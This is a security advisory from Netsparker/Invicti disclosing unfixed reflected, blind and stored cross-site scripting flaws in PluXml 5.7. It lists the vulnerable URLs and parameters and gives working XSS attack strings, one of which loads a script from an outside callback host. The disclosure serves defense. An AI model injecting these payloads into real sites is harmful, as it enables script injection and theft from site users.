Multiple Cross-site Scripting Vulnerabilities in PluXml 5.7
Information
Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in PluXml 5.7
Affected Software: PluXml
Affected Versions: 5.7
Homepage: https://www.pluxml.org/
Vulnerability: Reflected, Blind and Stored Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0):
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-054
Technical Details
Stored Cross-site Scripting
URL: http://{DOMAIN}/{PATH-OF-PLUXML}core/admin/article.php
Parameter Name: tags
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x007B0F)</scRipt>
Blind Cross-site Scripting
URL: http://{DOMAIN}/{PATH-OF-PLUXML}/core/admin/article.php
Parameter Name: date_update_month
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt src="//7fv0dgpzuxo2-rly412khh-ldsddpplyaom9uiuphg0.r87.me"></scRipt>
Reflected Cross-site Scripting
URL: http://{DOMAIN}/{PATH-OF-PLUXML}/?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(“test”)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-PLUXML}/index.php?'"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-PLUXML}/core/admin/article.php
Parameter Name: artID
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x007B0F)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
31st December 2018- First Contact Attempt
4th Febuary 2019 – Advisory Released
Credits & Authors
These issues have been discovered by Umran Yildirimkaya while testing Invicti Web Application Security Scanner.
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